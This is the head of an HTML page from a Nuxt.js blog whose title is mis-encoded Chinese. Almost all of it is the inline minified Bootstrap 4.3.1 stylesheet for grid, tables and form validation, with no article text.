1<!doctype html> 2<html data-n-head-ssr data-n-head=""> 3 <head data-n-head=""> 4 <title data-n-head="true">å¥å®ä¿¡å¨èæ æ¥ä¸å¿</title><meta data-n-head="true" charset="utf-8"><meta data-n-head="true" name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"><meta data-n-head="true" data-hid="description" name="description" content="Nuxt.js project"><link data-n-head="true" rel="icon" type="image/x-icon" href="/blog/favicon.ico"><base href="/blog/"><link rel="preload" href="/blog/_nuxt/f7ffd277c27abda4eb20.js" as="script"><link rel="preload" href="/blog/_nuxt/fc16ee2c5febeb9120d4.js" as="script"><link rel="preload" href="/blog/_nuxt/663792feb03069819de8.js" as="script"><link rel="preload" href="/blog/_nuxt/0d6b8aae4bf2e22d9f4a.js" as="script"><link rel="preload" href="/blog/_nuxt/782921d22ecc40c482ea.js" as="script"><link rel="preload" href="/blog/_nuxt/d54acd4f2f111e5f0691.js" as="script"><style data-vue-ssr-id="29755fa6:0 2c955d46:0 29b9b96a:0 3989e3f0:0 132ad7ca:0 d182bec6:0 17cfdfa9:0 747fea46:0 f0101c12:0 5ae9f725:0 63f98b8a:0 a2863976:0 3064dc17:0 4cd6ff48:0 9aa3b7c0:0 527c9bbb:0 2385510c:0">/*! 5 * Bootstrap v4.3.1 (https://getbootstrap.com/) 6 * Copyright 2011-2019 The Bootstrap Authors 7 * Copyright 2011-2019 Twitter, Inc. 8 * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 9 */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,:after,:before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0;-webkit-text-decoration-skip-ink:none;text-decoration-skip-ink:none}address{font-style:normal;line-height:inherit}address,dl,ol,ul{margin-bottom:1rem}dl,ol,ul{margin-top:0}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([tabindex]),a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto}figure{margin:0 0 1rem}img{border-style:none}img,svg{vertical-align:middle}svg{overflow:hidden}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}
9[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem}.display-1,.display-2{font-weight:300;line-height:1.2}.display-2{font-size:5.5rem}.display-3{font-size:4.5rem}.display-3,.display-4{font-weight:300;line-height:1.2}.display-4{font-size:3.5rem}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-inline,.list-unstyled{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer:before{content:"\2014\00A0"}.img-fluid,.img-thumbnail{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:flex;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{flex-basis:0;flex-grow:1;max-width:100%}.col-auto{flex:0 0 auto;width:auto;max-width:100%}.col-1{flex:0 0 8.333333%;max-width:8.333333%}.col-2{flex:0 0 16.666667%;max-width:16.666667%}.col-3{flex:0 0 25%;max-width:25%}.col-4{flex:0 0 33.333333%;max-width:33.333333%}.col-5{flex:0 0 41.666667%;max-width:41.666667%}.col-6{flex:0 0 50%;max-width:50%}.col-7{flex:0 0 58.333333%;max-width:58.333333%}.col-8{flex:0 0 66.666667%;max-width:66.666667%}.col-9{flex:0 0 75%;max-width:75%}.col-10{flex:0 0 83.333333%;max-width:83.333333%}.col-11{flex:0 0 91.666667%;max-width:91.666667%}.col-12{flex:0 0 100%;max-width:100%}.order-first{order:-1}.order-last{order:13}.order-0{order:0}.order-1{order:1}.order-2{order:2}.order-3{order:3}.order-4{order:4}.order-5{order:5}.order-6{order:6}.order-7{order:7}.order-8{order:8}.order-9{order:9}.order-10{order:10}.order-11{order:11}.order-12{order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{flex-basis:0;flex-grow:1;max-width:100%}.col-sm-auto{flex:0 0 auto;width:auto;max-width:100%}.col-sm-1{flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{flex:0 0 25%;max-width:25%}.col-sm-4{flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{flex:0 0 50%;max-width:50%}.col-sm-7{flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{flex:0 0 75%;max-width:75%}.col-sm-10{flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{flex:0 0 100%;max-width:100%}.order-sm-first{order:-1}.order-sm-last{order:13}.order-sm-0{order:0}.order-sm-1{order:1}.order-sm-2{order:2}.order-sm-3{order:3}.order-sm-4{order:4}.order-sm-5{order:5}.order-sm-6{order:6}.order-sm-7{order:7}.order-sm-8{order:8}.order-sm-9{order:9}.order-sm-10{order:10}.order-sm-11{order:11}.order-sm-12{order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{flex-basis:0;flex-grow:1;max-width:100%}.col-md-auto{flex:0 0 auto;width:auto;max-width:100%}.col-md-1{flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{flex:0 0 25%;max-width:25%}.col-md-4{flex:0 0 33.333333%;max-width:33.333333%}.col-md-5{flex:0 0 41.666667%;max-width:41.666667%}.col-md-6{flex:0 0 50%;max-width:50%}.col-md-7{flex:0 0 58.333333%;max-width:58.333333%}.col-md-8{flex:0 0 66.666667%;max-width:66.666667%}.col-md-9{flex:0 0 75%;max-width:75%}.col-md-10{flex:0 0 83.333333%;max-width:83.333333%}.col-md-11{flex:0 0 91.666667%;max-width:91.666667%}.col-md-12{flex:0 0 100%;max-width:100%}.order-md-first{order:-1}.order-md-last{order:13}.order-md-0{order:0}.order-md-1{order:1}.order-md-2{order:2}.order-md-3{order:3}.order-md-4{order:4}.order-md-5{order:5}.order-md-6{order:6}.order-md-7{order:7}.order-md-8{order:8}.order-md-9{order:9}.order-md-10{order:10}.order-md-11{order:11}.order-md-12{order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.333333%}.offset-md-2{margin-left:16.666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.333333%}.offset-md-5{margin-left:41.666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.333333%}.offset-md-8{margin-left:66.666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.333333%}.offset-md-11{margin-left:91.666667%}}@media (min-width:992px){.col-lg{flex-basis:0;flex-grow:1;max-width:100%}.col-lg-auto{flex:0 0 auto;width:auto;max-width:100%}.col-lg-1{flex:0 0 8.333333%;max-width:8.333333%}.col-lg-2{flex:0 0 16.666667%;max-width:16.666667%}.col-lg-3{flex:0 0 25%;max-width:25%}.col-lg-4{flex:0 0 33.333333%;max-width:33.333333%}.col-lg-5{flex:0 0 41.666667%;max-width:41.666667%}.col-lg-6{flex:0 0 50%;max-width:50%}.col-lg-7{flex:0 0 58.333333%;max-width:58.333333%}.col-lg-8{flex:0 0 66.666667%;max-width:66.666667%}.col-lg-9{flex:0 0 75%;max-width:75%}.col-lg-10{flex:0 0 83.333333%;max-width:83.333333%}.col-lg-11{flex:0 0 91.666667%;max-width:91.666667%}.col-lg-12{flex:0 0 100%;max-width:100%}.order-lg-first{order:-1}.order-lg-last{order:13}.order-lg-0{order:0}.order-lg-1{order:1}.order-lg-2{order:2}.order-lg-3{order:3}.order-lg-4{order:4}.order-lg-5{order:5}.order-lg-6{order:6}.order-lg-7{order:7}.order-lg-8{order:8}.order-lg-9{order:9}.order-lg-10{order:10}.order-lg-11{order:11}.order-lg-12{order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.333333%}.offset-lg-2{margin-left:16.666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.333333%}.offset-lg-5{margin-left:41.666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.333333%}.offset-lg-8{margin-left:66.666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.333333%}.offset-lg-11{margin-left:91.666667%}}@media (min-width:1200px){.col-xl{flex-basis:0;flex-grow:1;max-width:100%}.col-xl-auto{flex:0 0 auto;width:auto;max-width:100%}.col-xl-1{flex:0 0 8.333333%;max-width:8.333333%}.col-xl-2{flex:0 0 16.666667%;max-width:16.666667%}.col-xl-3{flex:0 0 25%;max-width:25%}.col-xl-4{flex:0 0 33.333333%;max-width:33.333333%}.col-xl-5{flex:0 0 41.666667%;max-width:41.666667%}.col-xl-6{flex:0 0 50%;max-width:50%}.col-xl-7{flex:0 0 58.333333%;max-width:58.333333%}.col-xl-8{flex:0 0 66.666667%;max-width:66.666667%}.col-xl-9{flex:0 0 75%;max-width:75%}.col-xl-10{flex:0 0 83.333333%;max-width:83.333333%}.col-xl-11{flex:0 0 91.666667%;max-width:91.666667%}.col-xl-12{flex:0 0 100%;max-width:100%}.order-xl-first{order:-1}.order-xl-last{order:13}.order-xl-0{order:0}.order-xl-1{order:1}.order-xl-2{order:2}.order-xl-3{order:3}.order-xl-4{order:4}.order-xl-5{order:5}.order-xl-6{order:6}.order-xl-7{order:7}.order-xl-8{order:8}.order-xl-9{order:9}.order-xl-10{order:10}.order-xl-11{order:11}.order-xl-12{order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.333333%}.offset-xl-2{margin-left:16.666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.333333%}.offset-xl-5{margin-left:41.666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.333333%}.offset-xl-8{margin-left:66.666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.333333%}.offset-xl-11{margin-left:91.666667%}}.table{width:100%;margin-bottom:1rem;color:#212529}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table-sm td,.table-sm th{padding:.3rem}.table-bordered,.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{color:#212529;background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#7abaff}.table-hover .table-primary:hover,.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#b3b7bb}.table-hover .table-secondary:hover,.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>
9th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#8fd19e}.table-hover .table-success:hover,.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#86cfda}.table-hover .table-info:hover,.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#ffdf7e}.table-hover .table-warning:hover,.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#ed969e}.table-hover .table-danger:hover,.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#fbfcfc}.table-hover .table-light:hover,.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#95999c}.table-hover .table-dark:hover,.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th,.table-hover .table-active:hover,.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#343a40;border-color:#454d55}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#343a40}.table-dark td,.table-dark th,.table-dark thead th{border-color:#454d55}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:hsla(0,0%,100%,.05)}.table-dark.table-hover tbody tr:hover{color:#fff;background-color:hsla(0,0%,100%,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:.375rem;padding-bottom:.375rem;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}select.form-control[multiple],select.form-control[size],textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:flex;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:inline-flex;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(40,167,69,.9);border-radius:.25rem}.form-control.is-valid,.was-validated .form-control:valid{border-color:#28a745;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3E%3C/svg%3E");background-repeat:no-repeat;background-position:100% calc(.375em + .1875rem);background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.form-control.is-valid~.valid-feedback,.form-control.is-valid~.valid-tooltip,.
9was-validated .form-control:valid~.valid-feedback,.was-validated .form-control:valid~.valid-tooltip{display:block}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.custom-select.is-valid,.was-validated .custom-select:valid{border-color:#28a745;padding-right:calc((3em + 2.25rem)/ 4 + 1.75rem);background:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right .75rem center/8px 10px,url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3E%3C/svg%3E") #fff no-repeat center right 1.75rem/calc(.75em + .375rem) calc(.75em + .375rem)}.custom-select.is-valid:focus,.was-validated .custom-select:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-select.is-valid~.valid-feedback,.custom-select.is-valid~.valid-tooltip,.form-control-file.is-valid~.valid-feedback,.form-control-file.is-valid~.valid-tooltip,.was-validated .custom-select:valid~.valid-feedback,.was-validated .custom-select:valid~.valid-tooltip,.was-validated .form-control-file:valid~.valid-feedback,.was-validated .form-control-file:valid~.valid-tooltip{display:block}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label:before,.was-validated .custom-control-input:valid~.custom-control-label:before{border-color:#28a745}.custom-control-input.is-valid~.valid-feedback,.custom-control-input.is-valid~.valid-tooltip,.was-validated .custom-control-input:valid~.valid-feedback,.was-validated .custom-control-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid:checked~.custom-control-label:before,.was-validated .custom-control-input:valid:checked~.custom-control-label:before{border-color:#34ce57;background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label:before,.was-validated .custom-control-input:valid:focus~.custom-control-label:before{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-control-input.is-valid:focus:not(:checked)~.custom-control-label:before,.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-control-input:valid:focus:not(:checked)~.custom-control-label:before,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-valid~.valid-tooltip,.was-validated .custom-file-input:valid~.valid-feedback,.was-validated .custom-file-input:valid~.valid-tooltip{display:block}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;line-height:1.5;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.25rem}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23dc3545' viewBox='-2 -2 7 7'%3E%3Cpath stroke='%23dc3545' d='M0 0l3 3m0-3L0 3'/%3E%3Ccircle r='.5'/%3E%3Ccircle cx='3' r='.5'/%3E%3Ccircle cy='3' r='.5'/%3E%3Ccircle cx='3' cy='3' r='.5'/%3E%3C/svg%3E");background-repeat:no-repeat;background-position:100% calc(.375em + .1875rem);background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}
